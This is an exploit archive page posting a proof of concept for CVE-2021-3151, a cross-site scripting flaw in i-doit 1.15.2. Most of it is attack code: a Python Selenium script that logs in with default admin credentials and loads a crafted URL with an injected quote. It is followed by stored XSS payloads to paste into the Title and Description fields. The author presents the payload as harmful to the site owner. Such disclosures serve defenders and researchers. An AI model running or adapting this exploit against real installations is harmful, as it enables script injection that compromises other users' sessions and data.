i-doit 1.15.2 Cross Site Scripting

Authored by nu11secur1ty

Posted May 26, 2021

i-doit version 1.15.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-3151
SHA-256 | 09bd54a79a7ea10a4acbf9651b08d12b5e851f8d241bfd83921b1cd5c24df50a Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from Infrastructure
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.25.2021
# Vendor: https://www.i-doit.org/news/
# Link: https://www.i-doit.org/new-minor-release-i-doit-open-1-15-2/
# From Github:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# CVE: CVE-2021-3151 - NEW
# Proof: https://streamable.com/vofczm

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3151

from selenium import webdriver
import time
import os, sys


# Vendor: https://www.i-doit.org/news/
website_link="http://192.168.1.160/?"

# enter your login username
username="admin"

# enter your login password
password="admin"

#enter the element for username input field
element_for_username="login_username"

#enter the element for password input field
element_for_password="login_password"

#enter the element for submit button
element_for_submit="login_submit"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(1)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit XSS vulnerability parameter viewMode
time.sleep(3)
# Payload Parameter: "viewMode" (Infrastructure > catgID=41 == XSS
injection simbol{'})
browser.get(("
http://192.168.1.160/index.php?viewMode=1002&tvMode=1006&tvType=1&objID=26&catgID=41%27
"))

print("The payload is deployed now this is bad for the owner \;)\...\n")


except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, but something is wrong and this exploit is not working...")

## The exploit

## Vulnerable (Infrastructure) section
## Parameter:
viewMode (Infrastructure, Object, Network > local pots = XSS simbol{'})

- URL

http://192.168.1.2/?viewMode=1100&tvMode=1006&tvType=1&objID=26&catgID=41&objTypeID=19&cateID=1&editMode=1

## insert the payload into:

Title:       <script>alert("nu11secur1ty_is_here");</script>
Description: <script>alert("nu11secur1ty_is_here");</script>

---------------------------------

# Exploit Title: SXX for i-doit 1.15.2 in parameret (viewMode) from
Infrastructure
# Date: 05.25.2021
# Exploit Authotr idea: @nu11secur1ty
# Exploit Debugging: @nu11secur1ty
# Vendor Homepage: https://www.i-doit.org/news/
# Software Link:
https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3151/idoit-open-1.15.2.zip
# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3151
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other